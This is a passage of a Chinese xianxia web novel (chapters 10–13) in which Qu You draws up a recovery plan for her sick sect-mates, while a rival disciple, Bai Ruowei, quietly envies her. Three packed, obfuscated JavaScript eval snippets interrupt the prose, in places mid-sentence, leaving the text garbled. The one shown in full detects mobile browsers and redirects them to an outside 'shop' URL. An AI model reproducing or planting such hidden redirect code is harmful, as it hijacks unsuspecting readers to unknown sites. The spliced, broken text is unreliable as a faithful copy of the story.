叶知弦抱着琴的手微微颤抖,她看着曲忧,看着那双清澈坚定,仿佛能驱散一切阴霾的眼睛,一直强忍的泪水终于滚落。 她用力地,重重地点了点头,喉咙哽咽,说不出一个字,但所有的信任和希冀,都在那一点头中。 屋顶上,简自尘的血瞳一眨不眨地盯着院中那个被阿绒抱住,却依旧挺直背脊的少女。 他脸上惯常的似笑非笑消失了,取而代之的是一种深沉的,晦暗难明的复杂神色。 指尖摩挲剑柄的动作,不知何时已停住,那总是喧嚣躁动,充满戾气的心魔,在这一刻,仿佛被那轻柔却坚定的声音拂过,诡异地静了一瞬。 几秒后,他移开目光,望向天边那轮即将被晨光吞没的冷月,没人知道他在想什么。 “嗒。” 石门后,那双永远闭着,仿佛已与黑暗融为一体的眼睛,在无人得见的深处,眼睫几不可察地颤动了一下。 月光如水,静静流淌在这破败的道观,照亮了瘸腿老道,照亮了相拥的少女与半妖,照亮了门内垂泪的琴师,照亮了屋顶沉默的煞神,也仿佛,隐隐照亮了石门后那片永恒的黑暗。 宿命的丝线,在这一夜,悄然缠绕。 ———— 天光再次亮起,归藏宗的道观里,气氛与往日有些微妙的不同。 曲忧起得很早,虽然昨夜寒毒发作的后遗症仍在,四肢发软,眉心发紧,但她眼底却燃着一簇异常明亮的火苗。 她翻出炭笔,又找了几块相对平整,还算干净的木板,搬到了院子中央。 阿绒揉着惺忪的睡眼,抱着尾巴跟出来,好奇地看着她。 叶知弦的房门也打开了,她今日看起来比往常清醒些,虽然眼下有浓重的青黑,但至少眼神不再涣散,抱着琴站在门口,默默看着曲忧动作。 李玄舟依旧躺在藤椅里,只是今日没抱着酒葫芦,只闭着眼,仿佛还在睡,但曲忧能感觉到,他的注意力分明投在这边。 简自尘不知在何处,但曲忧直觉,那双血红的眼睛,一定在某个角落注视着这里。 曲忧深吸一口气,用炭笔在木板上,一笔一划,工工整整地写下了几个大字: 归藏宗健康恢复计划(试行) 下面,她开始画表格。横线竖线,虽然因为炭笔和木板不平整而显得歪歪扭扭,但框架清晰。她在最左边一列,依次写下: 阿绒(三师姐) 叶知弦(二师姐) 沈见微(大师兄) 李玄舟(师父) 简自尘(四师兄) 曲忧(我) 然后,在右侧空白处,对应每个人,她开始写下初步的“诊断”和“治疗方向”: 阿绒: 问题:半妖血脉未稳,妖力反噬致耳部暗伤,心智发育迟缓,兽性本能较强,依赖性强。 目标:疏导耳部淤塞妖力,缓解暗伤疼痛。尝试温和引导,辅助心智成长与妖力控制。 当前措施:每日晨间,以微弱冰灵力辅助疏导耳部脉络。陪伴,多说话,教常识。 叶知弦: 问题:中不明情蛊,蛊虫盘踞心脉,引发周期性情绪崩溃,神志癫狂,执念深重(疑似被PUA,情伤郁结)。 目标:研究蛊毒特性,寻找压制或缓解之法。情绪疏导,逐步打破对“负心人”的扭曲执念。 当前措施:记录情绪发作周期与诱因。尝试以安神静心的药材(需寻找)配合灵力疏导,鼓励其弹奏清心舒缓曲目。 沈见微: 问题:双目失明,原因不明。自我封闭于石室,拒绝交流,疑似“自闭”。 目标:建立基本沟通渠道。探查眼伤根源,尝试其他感知方式重建的可能。 当前措施:坚持每日门外读医书,维持单向信息输入与潜在共同话题。观察其反应,寻找突破口。 李玄舟: 问题:右腿残疾,残留严重暗伤,酗酒成性,意志消沉。 目标:探查腿伤具体性质,制定戒酒计划(减少对灵体和意志的进一步损害),寻找可能的治疗方向(难度极大)。 当前措施:寻找机会检查腿伤。 简自尘: 问题:杀意戾气深重,难以捉摸。 目标:先观察。避免刺激,建立基本信任。 当前措施:保持距离,不主动招惹,不评判其言行。 曲忧(我): 问题:身中“寒毒”,与天品冰灵根同源相冲,月圆必发,逐步加重,预期寿命不足十五年。修为低微(炼气一层)。 目标:保命要紧!全力研究寒毒特性与根治/压制之法。加速修炼,提升自保与行医能力。赚钱购买药材、医书、必要物资。 当前措施:记录自身寒毒发作细节与身体变化,加紧修炼,研读医书,准备下次下山赚取灵石。 写完这些,曲忧退后两步,看着木板上密密麻麻的字迹,长长舒了口气。 虽然简陋,虽然前路漫漫甚至可能徒 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当看到“戒酒计划”四个字时,他嘴角抽搐了一下,似乎想嗤笑,但最终,那点讥诮没能成形。 他的目光在“难度极大”上停留了很久,眼底翻涌着晦暗难明的情绪,最终归于一片深沉的疲惫。 他重新闭上了眼,仿佛什么都没看见,但曲忧注意到,他握着藤椅扶手的手,指节微微凸起。 “咔哒。” 一声轻响,来自沈见微的石屋方向,不是棋子声,像是有什么小东西被碰倒了。 曲忧心有所感,抬头望去,石门依旧紧闭。 她仿佛能透过石门,看到里面那个永远置身黑暗中的青年,正“看”着院中这块莫名其妙的木板,和他自己名字下那几行冷静到近乎残酷的“诊断”与“目标”。 他会怎么想?会觉得可笑?会觉得被冒犯?还是会有一丝极其微弱的,连他自己都不愿承认的波澜? 至于简自尘…… 曲忧没有特意去寻找,但她能感觉到,一股存在感极强的视线,正落在木板上,尤其是关于他的部分。 “先观察”。 这三个字,写得格外工整,也格外疏离。 忽然,一阵带着冰冷金属质感的风,掠过曲忧耳畔。 “嚓”的一声轻响。 她猛地转头,只见木板上,关于“简自尘”的那一栏,“先观察”三个字的旁边,多了一道深深的,锐利如剑痕的刻印。 那痕迹紧贴着字迹,入木三分,带着一股凛冽的,毫不掩饰的戾气与嘲讽,仿佛在说:观察?就凭你? 什么时候?怎么做到的?曲忧甚至没察觉到灵力波动! 她心头一紧,下意识地握住了拳,体内微薄的灵力暗自运转。 然而,预想中更进一步的挑衅或危险并未到来,那道剑痕就停留在那里,像一个冰冷而嚣张的注脚。 然后,那股如影随形的,被注视的感觉悄然消失了。 简自尘走了。 曲忧看着那道剑痕,紧绷的心弦缓缓松开,取而代之的是一种更深的凝重。 这位四师兄,果然如她所料,是眼下最危险,也最难以预测的“病人”。 他的“病”,恐怕远不止“心魔”那么简单。先观察是对的,在找到任何可能的方法之前,任何贸然的举动都可能引发灾难性的后果。 唉,路漫漫其修远兮。 11. 第 11 章 与此同时,天衍宗。 仙山缭绕,灵气成雾,琼楼玉宇在云霞间若隐若现,与归藏宗的破败寒酸判若云泥。 内门弟子居住的“翠微峰”上,一处精致秀雅的洞府前,几个弟子正聚在一起,脸色犹带余悸,愤愤不平地说着什么。 “……那小子绝对是个魔头!那眼神,那杀气……我从未见过那么可怕的人!” “还有那个曲忧,真是不知好歹!掌门和长老们给她那么大的脸面,她竟敢当场拒绝!如今倒好,跟那种邪魔外道混在一起,自甘堕落!” “就是,还去买什么凡人的医书?简直可笑!我辈修士,追求的是长生大道,谁耐烦学那些赤脚郎中的把式?我看她是灵根虽好,脑子却不清醒,废了!” 说话的,正是前几日在青田镇被简自尘吓得屁滚尿流的那位内门弟子赵铭,以及他的两个跟班。 他们不敢说自己被一个眼神就吓得失禁,只拼命渲染简自尘的可怕和曲忧的“不识抬举”,“堕落不堪”,试图挽回些颜面。 洞府的门扉轻启,一个身着鹅黄色衣裙的少女款步走出。 她约莫十四五岁年纪,生得玉雪可爱,肌肤莹润透光,一双眼睛又大又圆,纯净澄澈,仿佛不谙世事。 周身隐隐有灵光流淌,气息纯净柔和,正是“玲珑道体”自然外显的异象。 她只是站在那里,便仿佛聚集了周围所有的光与灵气,让人不由自主地将目光投向她,心生亲近呵护之意。 正是天衍宗如今的“团宠”,清虚真人的关门弟子,白若薇。 “赵师兄,你们在说谁呀?”白若薇声音软糯,带着天然的好奇,眨巴着大眼睛看向赵铭。 赵铭一见她,脸上的愤懑立刻收敛了大半,换上一副既殷勤又略带讨好的表情:“白师妹,你出关了?我们在说前几日那个,那个不知好歹拒入宗门的曲忧。” 他愤愤道:“没想到她竟与邪修为伍,在青田镇招摇,还纵容同门对我和几位师弟出手,实在可恶!” “曲忧?”白若薇轻轻偏了偏头,装作思索了一会儿才想起来,“是那个……测出天品冰灵根,却不愿入我宗的师姐么?” “什么师姐,她也配!”赵铭啐了一口,“给脸不要脸!白师妹你是不知,她那同门,一双血红的眼睛,妖异得很,浑身煞气,一看就不是正道!” 他语气里全是鄙夷:“跟这种人混在一起,能有什么好下场?白师妹你天生玲珑道体,心地纯善,资质无双,将来前途不可限量,可千万离这种不知所谓的人远些,免得污了耳目。” 白若薇听着,脸上适时地露出一点点惋惜和同情,轻叹一声:“那位曲师姐,想必是有什么难言之隐吧。” “只是……天品灵根,确实可惜了。若入我天衍宗,有师父和诸位师长教导,定然不会误入歧途的。”她语气真诚,仿佛真心为曲忧的“堕落”感到痛心。 旁边立刻有弟子附和:“白师妹你就是太善良了,那种人哪里值得你同情?她分明是自视甚高,目中无人!岂能跟白师妹你比?你可是千年难遇的玲珑道体,修炼速度一日千里,又得掌门和诸位峰主青睐,将来注定是我天衍宗的栋梁!” “就是就是,白师妹入门不过数月,已至炼气三层,这等速度,便是当年那位……咳,也是远远不及的!”另一人接口,差点说漏嘴提起某个人,连忙打住。 白若薇微微垂眸,长长的睫毛在眼下投下一小片阴影,掩去了眸中一闪而过的晦暗。 是的,她是天生的玲珑道体,能自发吸纳灵气,净化杂质,修炼事半功倍,心性质朴近道,极易获得他人好感与信任。 师父说,这是天道钟爱的体质,是宗门的未来。 可是……天品冰灵根。 这几个字,像一根细小的刺,扎在她心底。 即便拥有玲珑道体,即便被所有人捧着宠着,但每当听到“天品灵根”这四个字,尤其是当它们和“曲忧”这个名字联系在一起时,她还是会感到一阵细微的,难以言喻的憋闷。 那本该是万众瞩目、集万千期待于一身的焦点啊。凭什么曲忧不要?凭什么她宁可去跟一个邪修混在一起,也不愿留在天衍宗? 这种情绪,白若薇从不宣之于口,甚至很少对自己承认。 她是纯洁善良、人见人爱的白若薇,怎么会嫉妒别人呢?她只是……为那位师姐感到惋惜罢了。 “赵师兄,各位师兄,过去的事就别提了。”白若薇抬起眼,脸上重新绽开纯净无邪的笑容,仿佛阳光驱散了阴霾。 “那位曲师姐既然选择了她的路,我们作为曾经有过一面之缘的人,默默祝福她便好。至于那位红眼睛的道友,或许,也有其不得已之处吧。我们修行之人,当心怀宽广才是。” 她这番话说得滴水不漏,既显大度,又暗指曲忧“路走歪了”,与“邪修”为伍,更衬托出自己的善良与格局。 赵铭等人立刻露出感动的神色:“白师妹真是太善良了!心胸宽广,实乃我辈楷模!” “没错!有白师妹在,实乃我天衍宗之福!” “白师妹,这是我前日偶得的一株‘宁神花’,对稳定心神略有裨益,赠予师妹,愿师妹修炼顺遂……” “白师妹,我这有一小瓶‘玉髓液’……” 众人纷纷围拢上来,拿出各种小东西,争相献宝,脸上洋溢着真诚的笑容,仿佛能为眼前这纯洁无瑕的小师妹做点什么,是莫大的荣幸。 白若薇微微笑着,并未推辞,一一谢过,声音甜美,眼神清澈,接受得无比自然。 她享受着这种被众人环绕,被所有人喜爱,目光与资源自然而然汇聚的感觉,这才是她该有的位置,该有的待遇。 至于那个拒绝天衍宗,跟邪修混在一起,还妄想学什么凡人医术的曲忧…… 白若薇接过一位师兄递来的灵果,轻轻咬了一口,甘甜的汁液在口中化开。 就让她,在那种破烂地方,自生自灭吧。 自己可是要站在修仙界顶端,受万人景仰的玲珑仙子。那些尘埃里的蝼蚁,如何能入自己的眼? 只是,心底那根名为“天品冰灵根”的刺,似乎扎得更深了一点点,但这细微的不适,很快就被周围更热烈的奉承与关爱淹没了。 翠微峰上,阳光正好,欢声笑语,其乐融融。 ———— “健康恢复计划”实施的第二天,曲忧就遭遇了第一道顽强的阻力——李玄舟的酒葫芦。 阿绒好办,给她梳毛顺气,陪她玩会儿简单的游戏,比如数石子,小家伙就开心得尾巴直摇。 叶知弦那边,曲忧送去了几株自己在后山找到的,有轻微宁神效果的野草,叶知弦默默收下,关上门,但隐约的琴声似乎不再那么凄厉破碎。 沈见微的石屋前,读书声照旧,今日他纠正了一句关于“十二经别”的循行路线。 轮到师父时,曲忧径直走到藤椅边,在李玄舟还没反应过来之前,伸出手,平静地说:“师父,酒葫芦给我。” 李玄舟正眯着眼,抱着他那只油光水滑,几乎不离身的宝贝酒葫芦打盹,闻言,掀开一只眼皮,乜斜着她,懒洋洋道:“干嘛?小丫头片子,还想管师父喝酒?” “不是管,是替您保管。”曲忧语气不变,理由充分,“您腿伤未愈,体内郁结之气本需疏导,烈酒性燥,易引动旧伤,扰乱气血。” 曲忧认真道:“戒酒是‘健康恢复计划’的重要环节。从今日起,每日定量,逐步减少。现在,请把酒葫芦给我,我会在午后给您一小杯。” 李玄舟:“……” 他看着曲忧那双认真的、清澈的、没有半分玩笑意味的眼睛,再看看她摊开的,白皙却不容置疑的手掌,脸上的懒散表情一点点裂开,露出底下荒谬和恼怒交织的神色。 “你……你来真的?”他坐直身体,酒葫芦下意识地抱紧了些。 “真的。”曲忧点头,寸步不让。 “胡闹!”李玄舟终于有点挂不住脸了,他一个化神剑修,咳,曾经是,居然沦落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只见李玄舟正鬼鬼祟祟地蹲在杂物堆前,背对着她,手里拿着一根不知从哪找来的细长竹枝,正小心翼翼地探进一堆破烂木板和废弃瓦罐的缝隙里,嘴里还低声嘀咕着:“……应该就藏这儿了……嘿,小丫头片子,跟老子斗……” 他在找被曲忧“保管”起来的酒葫芦。 曲忧抿了抿唇,没出声,静静看着。 李玄舟扒拉了几下,眼睛一亮,用竹枝勾住了一个系着红绳的葫芦嘴,小心翼翼地往外拖。 眼看葫芦就要被拖出来,他脸上露出一丝得意的,属于老顽童般的窃笑。 就在这时,一道清清冷冷的声音,在他身后响起: “师父,您在找什么?” “!!!”李玄舟吓得手一抖,竹枝“啪”地掉在地上,葫芦也“咕噜噜”滚了出来,沾满了灰尘。 他僵硬地一点一点地转过身,对上曲忧平静无波的目光,老脸瞬间涨得通红,支支吾吾:“我、我……那个……找、找个趁手的……棍子,拄着走路……” 曲忧弯腰,捡起那个滚到自己脚边,沾满灰的酒葫芦,拍了拍土,重新系好红绳。 她抬头,看向李玄舟,眼神里带着一丝不易察觉的无奈,但语气依旧认真:“师父,我们说好的。” 李玄舟:“……” 他张了张嘴,看着曲忧那双映着天光,干净得不染尘埃的眼睛,再看看她手里那个灰扑扑的葫芦,所有狡辩、耍赖、甚至摆师父架子的心思,突然间就烟消云散了。 取而代之的,是一种混合着尴尬心虚,以及更深沉的,连他自己也说不清的酸涩。 他颓然地垮下肩膀,像只斗败的公鸡,胡乱挥了挥手,一瘸一拐地走回藤椅,把自己摔进去,用破袖子盖住脸,闷声道:“知道了知道了,烦死了!拿走拿走!别来烦我!” 曲忧看着师父这副“生无可恋”的模样,嘴角几不可察地弯了一下。 她没再说什么,拿着酒葫芦,转身回了屋,这次,她找了个更隐蔽、带锁的小木箱,把酒葫芦放了进去,钥匙贴身收好。 戒酒之路,任重道远啊。 12. 第 12 章 * 观察简自尘并不是件容易的事,曲忧很快总结出了规律。 大多数时候,出现在人前的,是黑发红瞳的简自尘。 这个状态下的他,像一只漂亮却危险的妖异生物。 他会在曲忧给阿绒梳毛时,忽然凑近,用那双血瞳好奇地打量,然后笑嘻嘻地说:“小师妹,手法不错嘛,要不要也帮师兄梳梳?” 会在她研读医书时,不请自来地坐到她对面,托着腮,眼神直勾勾地盯着她看,看得人浑身不自在,他却乐在其中。 会在她尝试用那点微末灵力催生一株药草失败时,发出毫不留情的嗤笑:“就这?小师妹,你这点灵力,连给花花草草挠痒痒都不够。” 他喜欢叫她“小师妹”,尾音拖长,带着点黏腻的亲昵,却又分明是戏弄。 他行事随心所欲,对一切似乎都抱着玩闹的心态,笑容灿烂,眼神却时常冰冷,那抹血色深处,仿佛藏着择人而噬的凶兽。 而银发紫眸的简自尘,则罕见得多。 曲忧第一次见到这个状态的他,是在一个黄昏。 她在后山一处相对僻静,灵气稍好的背风处修炼,夕阳的余晖将山石草木染成暖金色。 她刚结束一个小周天,缓缓吐息,睁开眼时,目光无意中掠过不远处一片陡峭的崖壁。 崖壁下,一道颀长的身影正背对着她,独自练剑。 是简自尘。 但又不是她熟悉的那个。 他穿着一身简单的白色劲装,而非往常的黑衣,鸦羽般的长发变成了如月光流淌般的银白色,在夕阳下折射出冷淡的光泽。 他手中长剑翻飞,招式并不花哨,甚至有些古板,但每一剑刺出,每一式回转,都带着一种冰冷精准,仿佛摒除了一切多余情绪的极致简洁。 剑气凛冽,却不是红瞳状态那种暴虐血腥的戾气,而是一种纯粹的,仿佛能冻结灵魂的寒冷与疏离。 简自尘周身的气息也截然不同,不再是那种令人心悸的危险与妖异,而是一种深沉的,仿佛与世隔绝的孤高与沉寂。 似乎是察觉到了她的目光,银发少年挽了一个剑花,收势,缓缓转过身。 夕阳照亮了他的侧脸。 依旧是那张俊美得近乎不真实的面容,只是眼角那点嫣红的泪痣,在银发紫眸的映衬下,少了几分邪气,多了几分惊心动魄的冷艳。 他的眼睛是纯粹的紫,宛如最上等的紫水晶,剔透深邃,却没有任何温度,看向曲忧的目光平静无波,就像在看一块石头,一棵树,一个与己无关的,偶然闯入的陌生物体。 没有招呼,没有询问,甚至没有一丝多余的情绪。 他就那样淡淡地看了她一眼,然后转身,脚尖在崖壁上一点,身形如惊鸿般掠起,几个起落,便消失在了苍茫的暮色与山岚之中,仿佛从未出现过。 曲忧站在原地,指尖微凉。 她几乎可以肯定,这不是伪装,不是某种秘法幻化。 这是两个截然不同的“人”,共用着同一具身体。 结合之前从医书中看到的,以及那些模糊的现代记忆碎片里关于“精神分裂”、“人格障碍”的描述,她心中有了初步的判断:心魔入体,引发的人格分裂。 黑发红瞳的,是受心魔影响,甚至可能是心魔为主导的“副人格”;而银发紫眸的,才是原本的,被压制或隐藏起来的“主人格”。 这解释了为什么“主人格”如此罕见,冷漠疏离,他可能大部分时间都在与心魔对抗,或者被压制在意识的底层。 这个认知,让曲忧对简自尘的“病”,有了更深的忌惮,却也隐隐生出一丝更复杂的情绪。 银发紫眸的少年,独自在黄昏崖壁下练剑的孤寂背影,莫名地在她心里投下了一道很淡,却挥之不去的影子。 数日后,曲忧正在院中尝试用新学的,结合了沈见微指点的理论,推演一种更温和的妖力疏导路径,黑发红瞳的简自尘又晃悠了过来。 他今日似乎心情不错,血瞳亮晶晶的,凑到曲忧身边,毫不客气地将下巴搁在了她单薄的肩膀上,带着笑意的,温热的气息拂过她的耳廓。 “小师妹,”他声音拖得长长的,带着点撒娇般的黏糊劲,说出的话却直白得吓人,“你看我干什么?喜欢我啊?” 曲忧身体几不可察地僵了一下,但很快恢复。 她没转头,甚至没停下在沙地上划动的手指,只是用另一只手,淡定地,坚定地,将那颗搁在自己肩上的脑袋推开。 “你眼睛颜色怎么变的?”她问,语气平静得像在问“今天吃什么”。 简自尘脸上的笑容瞬间凝固了。 那总是盈满戏谑和玩味的血瞳,骤然暗沉下去,像是被投入了墨汁,翻涌起一片深不见底的,带着暴戾情绪的漩涡。 他直起身,后退半步,盯着曲忧,嘴角那点惯常的弧度消失得无影无踪,脸上是一种混合着警惕,阴郁,以及被触及逆鳞的冰冷怒意。 “你看到了啊。”简自尘声音低沉下来,不再有之前的轻佻,每个字都像是从冰碴子里挤出来的。 他没有解释,没有像往常那样嬉皮笑脸地糊弄过去。 他只是深深地,冷冷地看了曲忧一眼,那眼神复杂得难以解读,有警告,有探究,或许还有一丝连他自己都未察觉的被看穿的狼狈。 简自尘转身走了,他的步伐很快,黑衣在风中划过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月光照亮了他半边清冷绝伦的侧脸,和那剔透的紫色眼眸,曲忧心头一跳,下意识地想后退躲开视线。 但下一秒,银发少年已转回了头,重新望向月亮,仿佛刚才那一瞥,只是她的错觉。 他停留了片刻,身形微微一动,如同融入月光的幻影,悄无声息地消失在原地,只留下清冷的夜风和满地如霜的月华。 仿佛从未有人来过。 曲忧缓缓退回床边,重新躺下,却再无睡意。 13. 第 13 章 * 阿绒的进步是肉眼可见的。 每日清晨的“梳毛顺气”时间,成了她最期待的环节。 她会早早抱着自己的大尾巴,蹲在曲忧房门口,眼巴巴地等着。 曲忧用那一丝微薄却精纯的冰灵力,小心翼翼地梳理她耳根那处暗伤周围的脉络,阿绒便舒服得眯起眼,喉咙里发出猫咪般满足的呼噜声,尾巴尖无意识地,一下下轻拍着地面。 “师妹,凉凉的……舒服。”她含糊地表达着感受,小脑袋依赖地蹭着曲忧的手心。 除了疏导妖力,曲忧也开始有意识地引导阿绒控制自己那对过于显眼的耳朵和尾巴。 她用最简单直白的话告诉她:“阿绒,耳朵和尾巴,是我们的小秘密,在外面,要试着把它们藏起来,就像把宝贝收进兜里一样,好不好?” 阿绒似懂非懂,但她信任曲忧。在曲忧耐心的引导和微弱灵力的辅助下,她开始尝试。 最初只能坚持几个呼吸,耳朵和尾巴就会不受控制地“噗”一下冒出来,但渐渐地,时间在拉长,从几息,到十几息,再到能完整地吃完一顿饭而不露馅。 虽然一高兴,一受惊,或者单纯玩得忘形时,毛茸茸的部件还是会不受控制地冒出来,但她的心智在这种温和的疏导和陪伴中,开始缓慢地成长。 她说话不再那么断续破碎,能表达更复杂一些的意思,曲忧打坐,她就抱着自己的尾巴坐在旁边,安静地玩石子; 曲忧看医书,她就凑过来,指着上面的图画问“这是什么草”;曲忧去后山采些普通草药,她也一定要跟着,虽然常常被蝴蝶或松鼠吸引走注意力。 阳光透过破窗棂,在屋内投下温暖的光斑,阿绒枕在曲忧腿上,任由曲忧轻轻梳理着她的长发,忽然,她小声地,带着一丝不易察觉的颤抖开口: “师妹……阿绒昨天,做梦了。” “嗯?梦见什么了?”曲忧手上动作未停,柔声问。 阿绒沉默了一会儿,把脸往曲忧怀里埋了埋,声音更小了,带着哭腔:“梦见……娘亲。娘亲身上好多血……好红……阿绒怕……叫娘亲,娘亲不理阿绒……” 梳理头发的手指,微微一顿。 曲忧的心沉了下去。 她放下木梳,双手轻轻环住怀里微微发抖的小小身躯,将她搂紧。 这显然不是普通的噩梦,而是深埋在这半妖孩童灵魂深处,关于至亲惨死的记忆碎片,难怪她心智受损,难怪她如此缺乏安全感。 “不怕,阿绒不怕。”曲忧的声音放得极轻,却带着一种磐石般的坚定,在她耳边低语,“梦都是假的。娘亲一定在天上看着阿绒,希望阿绒快乐、平安。以后,师姐保护你。谁也不能再伤害阿绒。” 阿绒抬起头,琥珀色的大眼睛里蓄满了泪水,她看着曲忧,似乎在确认这句话的真伪。 然后,她用力地,重重地点了一下头,伸出小胳膊,紧紧回抱住曲忧的腰,把满是泪痕的小脸埋在她肩窝,闷闷地“嗯”了一声。 叶知弦的情况,也在缓慢地改善,或者说,是崩溃的周期被强行拉长了。 那日之后,曲忧并未立刻着手研究蛊毒的解法,那远超她目前能力。 但她从《本草纲目》辑要和那几本游方郎中札记中,结合自己那些模糊的现代医学常识,筛选出几种有安神、定惊、缓解郁结之效的普通草药。 有些在后山能找到,有些则需要她下次下山时留意。 她将这些草药简单处理,或煎成汤汁,或制成简陋的药膏,在叶知弦情绪明显不稳,眼神开始涣散时,便递上一碗温热的药汤,或用药膏配合银针,在她几个安神的穴位上轻轻施为。 曲忧的灵力微弱,但那份专注和镇定,似乎本身就是一剂良药。 加之那些草药确实有些微效果,叶知弦最严重的那次“发病”前兆,竟被硬生生压了下去,没有演变成抱着琴冲下山门的癫狂。 清醒时的叶知弦,依旧是那副哀婉柔美的模样,但眼底的疯狂与绝望,似乎淡去了一丝。 她开始偶尔在院中晒太阳,抱着她的琴,指尖拂过琴弦,流泻出的不再是纯粹的悲泣之音,偶尔会夹杂几个清越悠远的音节。 有一日,她看到曲忧在笨拙地摆弄几根琴弦,沉默了片刻,忽然轻声道:“指法不对。” 她走过去,在曲忧身边坐下,接过那简陋的琴,手指如穿花蝴蝶,轻轻拨弄,几个简单却韵味十足的清音流泻而出。 叶知弦轻声说:“琴为心声,亦为道途。欲以音愈人,先需音正、心定。你灵根属冰,心性沉静,或可尝试以此入道。” 她开始教曲忧最基础的指法,识谱,乃至一些粗浅的音律与灵力结合的道理。 叶知弦教得极认真,褪去癫狂的她,有种属于音道天才的专注与清冷魅力。 曲忧学得也快,那份过人的领悟力和沉静心性,在音律一道上竟也展露无遗。 几次教学后,叶知弦看着曲忧已能磕磕绊绊弹出一小段清心咒的雏形,眼中掠过一丝极淡的欣慰。 “你很聪明。”她轻声说。 又一日,曲忧刚为她行完针,喂下药汤。叶知弦靠坐在床头,脸色依旧苍白,但眼神清明。 她看着曲忧收拾东西的侧影,忽然开口,声音很轻,带着久病的虚弱和一种深刻的疲惫:“师妹,谢谢你。” 曲忧动作一顿,看向她。 叶知弦没有看她,目光落在虚空处,嘴角泛起一丝苦涩至极的弧度:“有时候我觉得,我这样的人,疯疯癫癫,执迷不悟,为个负心人把自己弄成这副鬼样子……实在配不上你这么费心费力。” 她的声音很平静,没有歇斯底里,却比任何哭喊都更让人心头发堵。 那是一种对自我价值的全盘否定,是沉沦在泥沼中太久,连自己都觉得自己肮脏不堪的绝望。 曲忧放下手中的东西,走到床边,蹲下身,让自己的视线与叶知弦平齐。她看着二师姐那双依旧美丽,却盛满了太多痛苦的眼睛,一字一句,清晰而坚定地说:“师姐,你值得。” “你值得被好好对待,值得拥有新生,值得摆脱那该死的蛊毒和混蛋,值得弹你想弹的曲子,过你想过的人生。” “以前的叶知弦或许被困住了,但现在的你,有我们在。你从来都不是一个人,也从来都不该被那样对待。” 叶知弦怔住了,她缓缓转过头,看向曲忧。 那双总是盛满哀愁的眼睛里,有什么东西在剧烈地翻涌,破碎,然后又一点点重新凝聚。 不是为那个负心人,而是为她自己。为她这被践踏、被遗忘、被自己都唾弃的,属于“叶知弦”这个人本身的存在价值。 大颗大颗的眼泪,毫无预兆地从她眼眶中滚落。没有声音,没有抽泣,只是安静地汹涌地流淌,冲刷过她苍白的脸颊,滴落在素色的衣襟上,晕开深色的痕迹。 这一次,她不是为那个不归人而哭。 是为她自己。 为那个曾经天真烂漫,惊才绝艳,却被欺骗,被下蛊,被折磨得面目全非的叶知弦。 在无尽黑暗和痛苦中,她终于抓住了一丝微弱光亮。 曲忧没有劝,只是默默递上一块干净的布巾。她知道,有些眼泪,必须流出来。流干净了,心,或许才能透进一丝真正的光。 而沈见微的石屋,依旧是整个归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491786|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏宗最固若金汤的堡垒。 曲忧并不急躁,她知道,对于大师兄这样将自我封闭到极致的人,任何急功近利都可能适得其反。 她只是日复一日,准时出现在石门外,用平稳的声调,读着那些或深奥,或粗浅的医书。 沈见微的指点依旧吝啬,但越来越精准,涉及的范围也从单纯的穴位经络,偶尔扩展到药材甚至一些极其偏门罕见的病理猜想。 这日,曲忧读到《经脉论》中一篇关于“奇经八脉”与“神魂损伤”关联的探讨。 这篇内容极为晦涩,且书中记载多有前后矛盾、语焉不详之处,显然是编纂者自己也未完全吃透,东拼西凑而来。 曲忧读得缓慢,遇到几处明显逻辑不通,或与沈见微之前指点相悖的地方,她心中微动。 在读到一段关于“阴跷脉”受损可能导致“目不能视,神光内敛”的论述时,她心头一跳,故意将其中一处关键的气血流向注解念错了。 “……故阴跷受损,其气上行,过‘睛明’而散于‘攒竹’,是以目窍壅塞,神光不显……”她将“散于”念成了“聚于”,一个字的差别,意义天差地别。 然后,曲忧停下来,仿佛在思索,又像是在等待。 石门外一片寂静,只有风吹过屋檐的呜咽,和远处阿绒隐约的嬉笑声。 就在曲忧以为今日依旧无功而返,准备收拾东西离开时—— “扎扎扎……” 那扇厚重冰冷,仿佛与山壁融为一体,从未在她面前完全开启过的石门,发出了沉闷而滞涩的摩擦声,缓缓地向内打开了一道缝隙。 一道足以让人通过的缝隙。 里面没有光透出,只有一片比门外暮色更深的,仿佛能吸收一切光线的黑暗。 沈见微那特有的,冷淡而微哑的声音从黑暗中传来,平静无波:“进来。” 曲忧深吸一口气,没有犹豫,抬步走入了那片黑暗,石门在她身后,又缓缓地合拢,隔绝了外界最后一线天光。 石室不大,陈设简单到近乎空旷,一床,一桌,一椅,一盘棋。 床是光秃秃的石板,铺着薄薄的陈旧草席,桌椅都是粗糙的石制,毫无装饰,唯有那盘摆在石桌上的棋,棋子是温润的黑白玉石,棋盘线条纵横,在黑暗中仿佛自己散发着微光。 沈见微就坐在那盘棋前。 他穿着一身纤尘不染的,式样简单的白色深衣,衣料是某种看不出质地的哑光织物,衬得他肤色是一种久不见天日的,近乎透明的冷白。 墨黑的长发用一根同色的发带松松束在脑后,几缕碎发垂落在颊边。 他的五官轮廓是极为清隽俊雅的,眉如远山,鼻梁挺直,薄唇的颜色很淡。 然而,这一切都因为那双眼睛,而笼罩上了一层挥之不去的,冰封般的沉寂与疏离。 他的眼睛是闭着的。 